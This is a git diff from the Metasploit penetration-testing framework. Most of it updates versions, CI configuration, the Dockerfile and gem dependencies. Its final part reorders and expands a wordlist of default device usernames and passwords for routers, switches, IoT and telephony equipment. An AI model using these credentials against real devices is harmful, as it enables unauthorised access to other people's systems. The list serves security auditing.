Merge master: 8853193542
commit
293d1edeb1
|
@ -1 +1 @@
|
||||||
2.4.1
|
2.4.2
|
||||||
|
|
17
.travis.yml
17
.travis.yml
|
@ -12,8 +12,8 @@ addons:
|
||||||
language: ruby
|
language: ruby
|
||||||
rvm:
|
rvm:
|
||||||
- '2.2'
|
- '2.2'
|
||||||
- '2.3.4'
|
- '2.3.5'
|
||||||
- '2.4.1'
|
- '2.4.2'
|
||||||
|
|
||||||
env:
|
env:
|
||||||
- CMD='bundle exec rake rspec-rerun:spec SPEC_OPTS="--tag content"'
|
- CMD='bundle exec rake rspec-rerun:spec SPEC_OPTS="--tag content"'
|
||||||
|
@ -21,9 +21,15 @@ env:
|
||||||
|
|
||||||
matrix:
|
matrix:
|
||||||
fast_finish: true
|
fast_finish: true
|
||||||
|
|
||||||
|
jobs:
|
||||||
|
# build docker image
|
||||||
include:
|
include:
|
||||||
- rvm: ruby-head
|
- env: CMD="docker-compose -f $TRAVIS_BUILD_DIR/docker-compose.yml build" DOCKER="true"
|
||||||
env: CMD="docker-compose -f $TRAVIS_BUILD_DIR/docker-compose.yml build"
|
# we do not need any setup
|
||||||
|
before_install: skip
|
||||||
|
install: skip
|
||||||
|
before_script: skip
|
||||||
before_install:
|
before_install:
|
||||||
- "echo 'gem: --no-ri --no-rdoc' > ~/.gemrc"
|
- "echo 'gem: --no-ri --no-rdoc' > ~/.gemrc"
|
||||||
- rake --version
|
- rake --version
|
||||||
|
@ -42,7 +48,8 @@ before_script:
|
||||||
- git diff --exit-code db/schema.rb
|
- git diff --exit-code db/schema.rb
|
||||||
script:
|
script:
|
||||||
- echo "${CMD}"
|
- echo "${CMD}"
|
||||||
- bash -c "${CMD}"
|
# we need travis_wait because the Docker build job can take longer than 10 minutes
|
||||||
|
- if [[ "${DOCKER}" == "true" ]]; then echo "Starting Docker build job"; travis_wait 40 "${CMD}"; else bash -c "${CMD}"; fi
|
||||||
|
|
||||||
notifications:
|
notifications:
|
||||||
irc: "irc.freenode.org#msfnotify"
|
irc: "irc.freenode.org#msfnotify"
|
||||||
|
|
|
@ -2,7 +2,7 @@
|
||||||
--exclude samples/
|
--exclude samples/
|
||||||
--exclude \.ut\.rb/
|
--exclude \.ut\.rb/
|
||||||
--exclude \.ts\.rb/
|
--exclude \.ts\.rb/
|
||||||
--files CONTRIBUTING.md,COPYING,HACKING,LICENSE
|
--files CONTRIBUTING.md,COPYING,LICENSE
|
||||||
app/**/*.rb
|
app/**/*.rb
|
||||||
lib/msf/**/*.rb
|
lib/msf/**/*.rb
|
||||||
lib/metasploit/**/*.rb
|
lib/metasploit/**/*.rb
|
||||||
|
|
|
@ -1,4 +1,4 @@
|
||||||
FROM ruby:2.4.1-alpine
|
FROM ruby:2.4.2-alpine
|
||||||
MAINTAINER Rapid7
|
MAINTAINER Rapid7
|
||||||
|
|
||||||
ARG BUNDLER_ARGS="--jobs=8 --without development test coverage"
|
ARG BUNDLER_ARGS="--jobs=8 --without development test coverage"
|
||||||
|
@ -36,15 +36,12 @@ RUN apk update && \
|
||||||
ncurses-dev \
|
ncurses-dev \
|
||||||
git \
|
git \
|
||||||
&& echo "gem: --no-ri --no-rdoc" > /etc/gemrc \
|
&& echo "gem: --no-ri --no-rdoc" > /etc/gemrc \
|
||||||
|
&& gem update --system \
|
||||||
&& gem install bundler \
|
&& gem install bundler \
|
||||||
&& bundle install --system $BUNDLER_ARGS \
|
&& bundle install --system $BUNDLER_ARGS \
|
||||||
&& apk del .ruby-builddeps \
|
&& apk del .ruby-builddeps \
|
||||||
&& rm -rf /var/cache/apk/*
|
&& rm -rf /var/cache/apk/*
|
||||||
|
|
||||||
# fix for robots gem not readable (known bug)
|
|
||||||
# https://github.com/rapid7/metasploit-framework/issues/6068
|
|
||||||
RUN chmod o+r /usr/local/bundle/gems/robots-*/lib/robots.rb
|
|
||||||
|
|
||||||
RUN adduser -g msfconsole -D $MSF_USER
|
RUN adduser -g msfconsole -D $MSF_USER
|
||||||
|
|
||||||
RUN /usr/sbin/setcap cap_net_raw,cap_net_bind_service=+eip $(which ruby)
|
RUN /usr/sbin/setcap cap_net_raw,cap_net_bind_service=+eip $(which ruby)
|
45
Gemfile.lock
45
Gemfile.lock
|
@ -1,7 +1,7 @@
|
||||||
PATH
|
PATH
|
||||||
remote: .
|
remote: .
|
||||||
specs:
|
specs:
|
||||||
metasploit-framework (4.16.0)
|
metasploit-framework (4.16.9)
|
||||||
actionpack (~> 4.2.6)
|
actionpack (~> 4.2.6)
|
||||||
activerecord (~> 4.2.6)
|
activerecord (~> 4.2.6)
|
||||||
activesupport (~> 4.2.6)
|
activesupport (~> 4.2.6)
|
||||||
|
@ -17,9 +17,9 @@ PATH
|
||||||
metasploit-concern
|
metasploit-concern
|
||||||
metasploit-credential
|
metasploit-credential
|
||||||
metasploit-model
|
metasploit-model
|
||||||
metasploit-payloads (= 1.3.1)
|
metasploit-payloads (= 1.3.9)
|
||||||
metasploit_data_models
|
metasploit_data_models
|
||||||
metasploit_payloads-mettle (= 0.2.0)
|
metasploit_payloads-mettle (= 0.2.2)
|
||||||
msgpack
|
msgpack
|
||||||
nessus_rest
|
nessus_rest
|
||||||
net-ssh
|
net-ssh
|
||||||
|
@ -58,7 +58,6 @@ PATH
|
||||||
rex-struct2
|
rex-struct2
|
||||||
rex-text
|
rex-text
|
||||||
rex-zip
|
rex-zip
|
||||||
robots
|
|
||||||
ruby_smb
|
ruby_smb
|
||||||
rubyntlm
|
rubyntlm
|
||||||
rubyzip
|
rubyzip
|
||||||
|
@ -99,8 +98,8 @@ GEM
|
||||||
minitest (~> 5.1)
|
minitest (~> 5.1)
|
||||||
thread_safe (~> 0.3, >= 0.3.4)
|
thread_safe (~> 0.3, >= 0.3.4)
|
||||||
tzinfo (~> 1.1)
|
tzinfo (~> 1.1)
|
||||||
addressable (2.5.1)
|
addressable (2.5.2)
|
||||||
public_suffix (~> 2.0, >= 2.0.2)
|
public_suffix (>= 2.0.2, < 4.0)
|
||||||
afm (0.2.2)
|
afm (0.2.2)
|
||||||
arel (6.0.4)
|
arel (6.0.4)
|
||||||
arel-helpers (2.4.0)
|
arel-helpers (2.4.0)
|
||||||
|
@ -108,11 +107,11 @@ GEM
|
||||||
backports (3.8.0)
|
backports (3.8.0)
|
||||||
bcrypt (3.1.11)
|
bcrypt (3.1.11)
|
||||||
bcrypt_pbkdf (1.0.0)
|
bcrypt_pbkdf (1.0.0)
|
||||||
bindata (2.4.0)
|
bindata (2.4.1)
|
||||||
bit-struct (0.16)
|
bit-struct (0.16)
|
||||||
builder (3.2.3)
|
builder (3.2.3)
|
||||||
coderay (1.1.1)
|
coderay (1.1.1)
|
||||||
daemons (1.2.4)
|
coderay (1.1.2)
|
||||||
diff-lcs (1.3)
|
diff-lcs (1.3)
|
||||||
dnsruby (1.60.2)
|
dnsruby (1.60.2)
|
||||||
docile (1.1.5)
|
docile (1.1.5)
|
||||||
|
@ -153,7 +152,7 @@ GEM
|
||||||
activemodel (~> 4.2.6)
|
activemodel (~> 4.2.6)
|
||||||
activesupport (~> 4.2.6)
|
activesupport (~> 4.2.6)
|
||||||
railties (~> 4.2.6)
|
railties (~> 4.2.6)
|
||||||
metasploit-payloads (1.3.1)
|
metasploit-payloads (1.3.9)
|
||||||
metasploit_data_models (2.0.15)
|
metasploit_data_models (2.0.15)
|
||||||
activerecord (~> 4.2.6)
|
activerecord (~> 4.2.6)
|
||||||
activesupport (~> 4.2.6)
|
activesupport (~> 4.2.6)
|
||||||
|
@ -164,18 +163,18 @@ GEM
|
||||||
postgres_ext
|
postgres_ext
|
||||||
railties (~> 4.2.6)
|
railties (~> 4.2.6)
|
||||||
recog (~> 2.0)
|
recog (~> 2.0)
|
||||||
metasploit_payloads-mettle (0.2.0)
|
metasploit_payloads-mettle (0.2.2)
|
||||||
method_source (0.8.2)
|
method_source (0.8.2)
|
||||||
mini_portile2 (2.2.0)
|
mini_portile2 (2.3.0)
|
||||||
minitest (5.10.3)
|
minitest (5.10.3)
|
||||||
msgpack (1.1.0)
|
msgpack (1.1.0)
|
||||||
multipart-post (2.0.0)
|
multipart-post (2.0.0)
|
||||||
nessus_rest (0.1.6)
|
nessus_rest (0.1.6)
|
||||||
net-ssh (4.1.0)
|
net-ssh (4.2.0)
|
||||||
network_interface (0.0.1)
|
network_interface (0.0.2)
|
||||||
nexpose (6.1.1)
|
nexpose (7.0.1)
|
||||||
nokogiri (1.8.0)
|
nokogiri (1.8.1)
|
||||||
mini_portile2 (~> 2.2.0)
|
mini_portile2 (~> 2.3.0)
|
||||||
octokit (4.7.0)
|
octokit (4.7.0)
|
||||||
sawyer (~> 0.8.0, >= 0.5.3)
|
sawyer (~> 0.8.0, >= 0.5.3)
|
||||||
openssl-ccm (1.2.1)
|
openssl-ccm (1.2.1)
|
||||||
|
@ -196,11 +195,10 @@ GEM
|
||||||
activerecord (>= 4.0.0)
|
activerecord (>= 4.0.0)
|
||||||
arel (>= 4.0.1)
|
arel (>= 4.0.1)
|
||||||
pg_array_parser (~> 0.0.9)
|
pg_array_parser (~> 0.0.9)
|
||||||
pry (0.10.4)
|
pry (0.11.0)
|
||||||
coderay (~> 1.1.0)
|
coderay (~> 1.1.0)
|
||||||
method_source (~> 0.8.1)
|
method_source (~> 0.8.1)
|
||||||
slop (~> 3.4)
|
public_suffix (3.0.0)
|
||||||
public_suffix (2.0.5)
|
|
||||||
rack (1.6.8)
|
rack (1.6.8)
|
||||||
rack-protection (1.5.3)
|
rack-protection (1.5.3)
|
||||||
rack
|
rack
|
||||||
|
@ -219,13 +217,13 @@ GEM
|
||||||
activesupport (= 4.2.9)
|
activesupport (= 4.2.9)
|
||||||
rake (>= 0.8.7)
|
rake (>= 0.8.7)
|
||||||
thor (>= 0.18.1, < 2.0)
|
thor (>= 0.18.1, < 2.0)
|
||||||
rake (12.0.0)
|
rake (12.1.0)
|
||||||
rb-readline (0.5.5)
|
rb-readline (0.5.5)
|
||||||
rbnacl (4.0.2)
|
rbnacl (4.0.2)
|
||||||
ffi
|
ffi
|
||||||
rbnacl-libsodium (1.0.13)
|
rbnacl-libsodium (1.0.13)
|
||||||
rbnacl (>= 3.0.1)
|
rbnacl (>= 3.0.1)
|
||||||
recog (2.1.11)
|
recog (2.1.15)
|
||||||
nokogiri
|
nokogiri
|
||||||
redcarpet (3.4.0)
|
redcarpet (3.4.0)
|
||||||
rex-arch (0.1.11)
|
rex-arch (0.1.11)
|
||||||
|
@ -257,7 +255,7 @@ GEM
|
||||||
rex-powershell (0.1.72)
|
rex-powershell (0.1.72)
|
||||||
rex-random_identifier
|
rex-random_identifier
|
||||||
rex-text
|
rex-text
|
||||||
rex-random_identifier (0.1.2)
|
rex-random_identifier (0.1.4)
|
||||||
rex-text
|
rex-text
|
||||||
rex-registry (0.1.3)
|
rex-registry (0.1.3)
|
||||||
rex-rop_builder (0.1.3)
|
rex-rop_builder (0.1.3)
|
||||||
|
@ -275,7 +273,6 @@ GEM
|
||||||
rex-zip (0.1.3)
|
rex-zip (0.1.3)
|
||||||
rex-text
|
rex-text
|
||||||
rkelly-remix (0.0.7)
|
rkelly-remix (0.0.7)
|
||||||
robots (0.10.1)
|
|
||||||
rspec (3.6.0)
|
rspec (3.6.0)
|
||||||
rspec-core (~> 3.6.0)
|
rspec-core (~> 3.6.0)
|
||||||
rspec-expectations (~> 3.6.0)
|
rspec-expectations (~> 3.6.0)
|
||||||
|
@ -309,7 +306,7 @@ GEM
|
||||||
sawyer (0.8.1)
|
sawyer (0.8.1)
|
||||||
addressable (>= 2.3.5, < 2.6)
|
addressable (>= 2.3.5, < 2.6)
|
||||||
faraday (~> 0.8, < 1.0)
|
faraday (~> 0.8, < 1.0)
|
||||||
simplecov (0.15.0)
|
simplecov (0.15.1)
|
||||||
docile (~> 1.1.0)
|
docile (~> 1.1.0)
|
||||||
json (>= 1.8, < 3)
|
json (>= 1.8, < 3)
|
||||||
simplecov-html (~> 0.10.0)
|
simplecov-html (~> 0.10.0)
|
||||||
|
|
38
HACKING
38
HACKING
|
@ -1,38 +0,0 @@
|
||||||
HACKING
|
|
||||||
=======
|
|
||||||
|
|
||||||
(Last updated: 2014-03-04)
|
|
||||||
|
|
||||||
This document almost entirely deprecated by:
|
|
||||||
|
|
||||||
CONTRIBUTING.md
|
|
||||||
|
|
||||||
in the same directory as this file, and to a lesser extent:
|
|
||||||
|
|
||||||
The Metasploit Development Environment
|
|
||||||
https://github.com/rapid7/metasploit-framework/wiki/Setting-Up-a-Metasploit-Development-Environment
|
|
||||||
|
|
||||||
Common Coding Mistakes
|
|
||||||
https://github.com/rapid7/metasploit-framework/wiki/Common-Metasploit-Module-Coding-Mistakes
|
|
||||||
|
|
||||||
The Ruby Style Guide
|
|
||||||
https://github.com/bbatsov/ruby-style-guide
|
|
||||||
|
|
||||||
Ruby 1.9: What to Expect
|
|
||||||
http://slideshow.rubyforge.org/ruby19.html
|
|
||||||
|
|
||||||
You can use the the "./tools/msftidy.rb" script against your new and
|
|
||||||
changed modules to do some rudimentary checking for various style and
|
|
||||||
syntax violations.
|
|
||||||
|
|
||||||
Licensing for Your New Content
|
|
||||||
==============================
|
|
||||||
|
|
||||||
By submitting code contributions to the Metasploit Project it is
|
|
||||||
assumed that you are offering your code under the Metasploit License
|
|
||||||
or similar 3-clause BSD-compatible license. MIT and Ruby Licenses
|
|
||||||
are also fine. We specifically cannot include GPL code. LGPL code
|
|
||||||
is accepted on a case by case basis for libraries only and is never
|
|
||||||
accepted for modules.
|
|
||||||
|
|
||||||
|
|
|
@ -1,7 +1,7 @@
|
||||||
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
|
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
|
||||||
%% %%% %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
|
%% %%% %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
|
||||||
%% %% %%%%%%%% %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
|
%% %% %%%%%%%% %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
|
||||||
%% % %%%%%%%% %%%%%%%%%%% https://metasploit.com %%%%%%%%%%%%%%%%%%%%%%%%%
|
%% % %%%%%%%% %%%%%%%%%%% https://metasploit.com %%%%%%%%%%%%%%%%%%%%%%%%
|
||||||
%% %% %%%%%% %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
|
%% %% %%%%%% %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
|
||||||
%% %%%%%%%%% %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
|
%% %%%%%%%%% %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
|
||||||
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
|
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
|
||||||
|
|
|
@ -1,70 +1,100 @@
|
||||||
root
|
ADMINISTRATOR ADMINISTRATOR
|
||||||
|
ADMN admn
|
||||||
|
Admin admin
|
||||||
|
Administrator
|
||||||
|
Administrator 3ware
|
||||||
|
Administrator admin
|
||||||
|
Administrator changeme
|
||||||
|
Administrator ganteng
|
||||||
|
Administrator letmein
|
||||||
|
Administrator password
|
||||||
|
Administrator pilou
|
||||||
|
Administrator smcadmin
|
||||||
|
Any 12345
|
||||||
|
CSG SESAME
|
||||||
|
Cisco Cisco
|
||||||
|
D-Link D-Link
|
||||||
|
DTA TJM
|
||||||
|
GEN1 gen1
|
||||||
|
GEN2 gen2
|
||||||
|
GlobalAdmin GlobalAdmin
|
||||||
|
HTTP HTTP
|
||||||
|
IntraStack Asante
|
||||||
|
IntraSwitch Asante
|
||||||
|
JDE JDE
|
||||||
|
LUCENT01 UI-PSWD-01
|
||||||
|
LUCENT02 UI-PSWD-02
|
||||||
|
MDaemon MServer
|
||||||
|
MICRO RSX
|
||||||
|
Manager Manager
|
||||||
|
Manager friend
|
||||||
|
NAU NAU
|
||||||
|
NETWORK NETWORK
|
||||||
|
NICONEX NICONEX
|
||||||
|
PBX PBX
|
||||||
|
PFCUser 240653C9467E45
|
||||||
|
PRODDTA PRODDTA
|
||||||
|
PSEAdmin $secure$
|
||||||
|
PlcmSpIp PlcmSpIp
|
||||||
|
Polycom SpIp
|
||||||
|
RMUser1 password
|
||||||
|
SYSADM sysadm
|
||||||
|
Sweex Mysweex
|
||||||
|
USERID PASSW0RD
|
||||||
|
User Password
|
||||||
|
VNC winterm
|
||||||
|
VTech VTech
|
||||||
|
ZXDSL ZXDSL
|
||||||
|
acc acc
|
||||||
|
adfexc adfexc
|
||||||
|
adm
|
||||||
admin
|
admin
|
||||||
guest
|
|
||||||
root root
|
|
||||||
root password
|
|
||||||
root 1234
|
|
||||||
root 12345
|
|
||||||
root 123456
|
|
||||||
root 3ep5w2u
|
|
||||||
root admin
|
|
||||||
root Admin
|
|
||||||
root admin_1
|
|
||||||
root alpine
|
|
||||||
root ascend
|
|
||||||
root attack
|
|
||||||
root blender
|
|
||||||
root calvin
|
|
||||||
root changeme
|
|
||||||
root Cisco
|
|
||||||
root cms500
|
|
||||||
root davox
|
|
||||||
root default
|
|
||||||
root fivranne
|
|
||||||
root ggdaseuaimhrke
|
|
||||||
root iDirect
|
|
||||||
root letacla
|
|
||||||
root Mau'dib
|
|
||||||
root pass
|
|
||||||
root permit
|
|
||||||
root ROOT500
|
|
||||||
root tini
|
|
||||||
root tslinux
|
|
||||||
root wyse
|
|
||||||
ro ro
|
|
||||||
router router
|
|
||||||
rwa rwa
|
|
||||||
rw rw
|
|
||||||
ubnt ubnt
|
|
||||||
guest guest
|
|
||||||
guest User
|
|
||||||
admin 0
|
admin 0
|
||||||
admin 0000
|
admin 0000
|
||||||
admin 1111
|
admin 1111
|
||||||
|
admin 11111111
|
||||||
admin 123
|
admin 123
|
||||||
admin 1234
|
admin 1234
|
||||||
admin 123456
|
admin 123456
|
||||||
|
admin 1234567890
|
||||||
admin 1234admin
|
admin 1234admin
|
||||||
admin 2222
|
admin 2222
|
||||||
admin 22222
|
admin 22222
|
||||||
admin2 changeme
|
|
||||||
admin 3477
|
admin 3477
|
||||||
admin 3ascotel
|
admin 3ascotel
|
||||||
|
admin 7ujMko0admin
|
||||||
|
admin 7ujMko0vizxv
|
||||||
admin 9999
|
admin 9999
|
||||||
|
admin Admin
|
||||||
|
admin AitbISP4eCiG
|
||||||
|
admin Ascend
|
||||||
|
admin BRIDGE
|
||||||
|
admin Intel
|
||||||
|
admin MiniAP
|
||||||
|
admin NetCache
|
||||||
|
admin NetICs
|
||||||
|
admin OCS
|
||||||
|
admin P@55w0rd!
|
||||||
|
admin PASSWORD
|
||||||
|
admin Protector
|
||||||
|
admin SMDR
|
||||||
|
admin SUPER
|
||||||
|
admin Symbol
|
||||||
|
admin TANDBERG
|
||||||
|
admin _Cisco
|
||||||
admin access
|
admin access
|
||||||
admin admin
|
admin admin
|
||||||
admin Admin
|
admin admin117.35.97.74
|
||||||
Admin admin
|
|
||||||
admin admin123
|
admin admin123
|
||||||
|
admin admin1234
|
||||||
|
admin administrator
|
||||||
admin adminttd
|
admin adminttd
|
||||||
admin adslolitec
|
admin adslolitec
|
||||||
admin adslroot
|
admin adslroot
|
||||||
admin adtran
|
admin adtran
|
||||||
admin AitbISP4eCiG
|
|
||||||
admin articon
|
admin articon
|
||||||
admin asante
|
admin asante
|
||||||
admin ascend
|
admin ascend
|
||||||
admin Ascend
|
|
||||||
admin asd
|
admin asd
|
||||||
admin atc123
|
admin atc123
|
||||||
admin atlantis
|
admin atlantis
|
||||||
|
@ -72,11 +102,9 @@ admin backdoor
|
||||||
admin barricade
|
admin barricade
|
||||||
admin barricadei
|
admin barricadei
|
||||||
admin bintec
|
admin bintec
|
||||||
admin BRIDGE
|
|
||||||
admin cableroot
|
admin cableroot
|
||||||
admin changeme
|
admin changeme
|
||||||
admin cisco
|
admin cisco
|
||||||
admin _Cisco
|
|
||||||
admin comcomcom
|
admin comcomcom
|
||||||
admin conexant
|
admin conexant
|
||||||
admin default
|
admin default
|
||||||
|
@ -84,96 +112,79 @@ admin diamond
|
||||||
admin enter
|
admin enter
|
||||||
admin epicrouter
|
admin epicrouter
|
||||||
admin extendnet
|
admin extendnet
|
||||||
|
admin fliradmin
|
||||||
admin giraff
|
admin giraff
|
||||||
admin hagpolm1
|
admin hagpolm1
|
||||||
admin hello
|
admin hello
|
||||||
admin help
|
admin help
|
||||||
admin hp.com
|
admin hp.com
|
||||||
admin Intel
|
|
||||||
admin ironport
|
admin ironport
|
||||||
admin isee
|
admin isee
|
||||||
acc acc
|
admin jvc
|
||||||
adfexc adfexc
|
|
||||||
adm
|
|
||||||
admin kont2004
|
admin kont2004
|
||||||
admin letmein
|
admin letmein
|
||||||
admin leviton
|
admin leviton
|
||||||
admin linga
|
admin linga
|
||||||
|
admin meinsma
|
||||||
|
admin michaelangelo
|
||||||
admin michelangelo
|
admin michelangelo
|
||||||
admin microbusiness
|
admin microbusiness
|
||||||
admin MiniAP
|
|
||||||
admin motorola
|
admin motorola
|
||||||
admin mu
|
admin mu
|
||||||
admin my_DEMARC
|
admin my_DEMARC
|
||||||
admin netadmin
|
admin netadmin
|
||||||
admin NetCache
|
|
||||||
admin NetICs
|
|
||||||
admin noway
|
admin noway
|
||||||
admin OCS
|
admin oelinux123
|
||||||
admin operator
|
admin operator
|
||||||
admin P@55w0rd!
|
|
||||||
admin password
|
|
||||||
admin p-assword
|
admin p-assword
|
||||||
admin PASSWORD
|
admin pass
|
||||||
|
admin password
|
||||||
admin passwort
|
admin passwort
|
||||||
admin pento
|
admin pento
|
||||||
admin pfsense
|
admin pfsense
|
||||||
admin private
|
admin private
|
||||||
admin Protector
|
|
||||||
admin public
|
admin public
|
||||||
admin pwp
|
admin pwp
|
||||||
admin radius
|
admin radius
|
||||||
admin rmnetlm
|
admin rmnetlm
|
||||||
admin root
|
admin root
|
||||||
admin secure
|
admin secure
|
||||||
|
admin service
|
||||||
admin setup
|
admin setup
|
||||||
admin sitecom
|
admin sitecom
|
||||||
admin smallbusiness
|
admin smallbusiness
|
||||||
admin smcadmin
|
admin smcadmin
|
||||||
admin SMDR
|
|
||||||
admin speedxess
|
admin speedxess
|
||||||
admin SUPER
|
|
||||||
admin superuser
|
admin superuser
|
||||||
|
admin support
|
||||||
admin switch
|
admin switch
|
||||||
admin Symbol
|
|
||||||
admin synnet
|
admin synnet
|
||||||
admin sysAdmin
|
admin sysAdmin
|
||||||
admin system
|
admin system
|
||||||
admin TANDBERG
|
admin tech
|
||||||
|
admin ubnt
|
||||||
admin visual
|
admin visual
|
||||||
admin w2402
|
admin w2402
|
||||||
admin xad$|#12
|
admin wbox
|
||||||
admin xad$l#12
|
admin xad$l#12
|
||||||
|
admin xad$|#12
|
||||||
admin zoomadsl
|
admin zoomadsl
|
||||||
system change_on_install
|
admin2 changeme
|
||||||
system/manager sys/change_on_install
|
administrator administrator
|
||||||
system password
|
administrator changeme
|
||||||
system sys
|
adminstat OCS
|
||||||
|
adminstrator changeme
|
||||||
adminttd adminttd
|
adminttd adminttd
|
||||||
adminuser OCS
|
adminuser OCS
|
||||||
adminview OCS
|
adminview OCS
|
||||||
adminstat OCS
|
alpine alpine
|
||||||
adminstrator changeme
|
|
||||||
Administrator 3ware
|
|
||||||
Administrator admin
|
|
||||||
administrator administrator
|
|
||||||
ADMINISTRATOR ADMINISTRATOR
|
|
||||||
administrator changeme
|
|
||||||
Administrator changeme
|
|
||||||
Administrator ganteng
|
|
||||||
Administrator letmein
|
|
||||||
Administrator password
|
|
||||||
Administrator pilou
|
|
||||||
Administrator smcadmin
|
|
||||||
ADMN admn
|
|
||||||
ami
|
ami
|
||||||
anonymous any@
|
|
||||||
anonymous Exabyte
|
anonymous Exabyte
|
||||||
Any 12345
|
anonymous any@
|
||||||
apc apc
|
apc apc
|
||||||
at4400 at4400
|
at4400 at4400
|
||||||
bbsd-client changeme2
|
|
||||||
bbsd-client NULL
|
bbsd-client NULL
|
||||||
|
bbsd-client changeme2
|
||||||
bciim bciimpw
|
bciim bciimpw
|
||||||
bcim bcimpw
|
bcim bcimpw
|
||||||
bcms bcmspw
|
bcms bcmspw
|
||||||
|
@ -191,7 +202,6 @@ cellit cellit
|
||||||
cgadmin cgadmin
|
cgadmin cgadmin
|
||||||
cisco
|
cisco
|
||||||
cisco cisco
|
cisco cisco
|
||||||
Cisco Cisco
|
|
||||||
citel citel
|
citel citel
|
||||||
client client
|
client client
|
||||||
cmaker cmaker
|
cmaker cmaker
|
||||||
|
@ -201,15 +211,19 @@ craft
|
||||||
craft craft
|
craft craft
|
||||||
craft craftpw
|
craft craftpw
|
||||||
craft crftpw
|
craft crftpw
|
||||||
CSG SESAME
|
|
||||||
cusadmin highspeed
|
cusadmin highspeed
|
||||||
cust custpw
|
cust custpw
|
||||||
customer
|
customer
|
||||||
customer none
|
customer none
|
||||||
dadmin dadmin01
|
dadmin dadmin01
|
||||||
|
daemon
|
||||||
davox davox
|
davox davox
|
||||||
debug d.e.b.u.g
|
debug d.e.b.u.g
|
||||||
debug synnet
|
debug synnet
|
||||||
|
default
|
||||||
|
default antslq
|
||||||
|
default default
|
||||||
|
default password
|
||||||
deskalt password
|
deskalt password
|
||||||
deskman changeme
|
deskman changeme
|
||||||
desknorm password
|
desknorm password
|
||||||
|
@ -220,41 +234,39 @@ dhs3pms dhs3pms
|
||||||
diag danger
|
diag danger
|
||||||
diag switch
|
diag switch
|
||||||
disttech 4tas
|
disttech 4tas
|
||||||
D-Link D-Link
|
|
||||||
draytek 1234
|
draytek 1234
|
||||||
DTA TJM
|
|
||||||
e250 e250changeme
|
e250 e250changeme
|
||||||
e500 e500changeme
|
e500 e500changeme
|
||||||
echo echo
|
|
||||||
echo User
|
echo User
|
||||||
|
echo echo
|
||||||
enable
|
enable
|
||||||
eng engineer
|
eng engineer
|
||||||
enquiry enquirypw
|
enquiry enquirypw
|
||||||
field support
|
field support
|
||||||
GEN1 gen1
|
guest
|
||||||
GEN2 gen2
|
guest 1111
|
||||||
GlobalAdmin GlobalAdmin
|
guest 12345
|
||||||
|
guest 123456
|
||||||
|
guest User
|
||||||
|
guest guest
|
||||||
|
guest xc3511
|
||||||
halt tlah
|
halt tlah
|
||||||
helpdesk OCS
|
helpdesk OCS
|
||||||
hsa hsadb
|
hsa hsadb
|
||||||
hscroot abc123
|
hscroot abc123
|
||||||
HTTP HTTP
|
|
||||||
hydrasna
|
hydrasna
|
||||||
iclock timely
|
iclock timely
|
||||||
images images
|
images images
|
||||||
inads inads
|
inads inads
|
||||||
inads indspw
|
inads indspw
|
||||||
init initpw
|
init initpw
|
||||||
installer installer
|
|
||||||
install llatsni
|
install llatsni
|
||||||
install secret
|
install secret
|
||||||
|
installer installer
|
||||||
intel intel
|
intel intel
|
||||||
intermec intermec
|
intermec intermec
|
||||||
intermec intermec1QTPS
|
intermec intermec1QTPS
|
||||||
IntraStack Asante
|
|
||||||
IntraSwitch Asante
|
|
||||||
jagadmin
|
jagadmin
|
||||||
JDE JDE
|
|
||||||
kermit kermit
|
kermit kermit
|
||||||
l2 l2
|
l2 l2
|
||||||
l3 l3
|
l3 l3
|
||||||
|
@ -266,8 +278,6 @@ login access
|
||||||
login admin
|
login admin
|
||||||
login password
|
login password
|
||||||
lp lp
|
lp lp
|
||||||
LUCENT01 UI-PSWD-01
|
|
||||||
LUCENT02 UI-PSWD-02
|
|
||||||
m1122 m1122
|
m1122 m1122
|
||||||
mac
|
mac
|
||||||
maint maint
|
maint maint
|
||||||
|
@ -278,50 +288,41 @@ manage !manage
|
||||||
manager admin
|
manager admin
|
||||||
manager change_on_install
|
manager change_on_install
|
||||||
manager friend
|
manager friend
|
||||||
Manager friend
|
|
||||||
manager manager
|
manager manager
|
||||||
Manager Manager
|
|
||||||
manager sys
|
manager sys
|
||||||
manuf xxyyzz
|
manuf xxyyzz
|
||||||
MDaemon MServer
|
|
||||||
mediator mediator
|
mediator mediator
|
||||||
MICRO RSX
|
mg3500 merlin
|
||||||
mlusr mlusr
|
mlusr mlusr
|
||||||
monitor monitor
|
monitor monitor
|
||||||
|
mother fucker
|
||||||
mtch mtch
|
mtch mtch
|
||||||
mtcl
|
mtcl
|
||||||
mtcl mtcl
|
mtcl mtcl
|
||||||
naadmin naadmin
|
naadmin naadmin
|
||||||
NAU NAU
|
|
||||||
netangr attack
|
netangr attack
|
||||||
netman
|
netman
|
||||||
netman netman
|
netman netman
|
||||||
netopia netopia
|
netopia netopia
|
||||||
netrangr attack
|
netrangr attack
|
||||||
netscreen netscreen
|
netscreen netscreen
|
||||||
NETWORK NETWORK
|
|
||||||
NICONEX NICONEX
|
|
||||||
nms nmspw
|
nms nmspw
|
||||||
nokai nokai
|
nokai nokai
|
||||||
nokia nokia
|
nokia nokia
|
||||||
none 0
|
none 0
|
||||||
none admin
|
none admin
|
||||||
operator
|
|
||||||
operator 1234
|
|
||||||
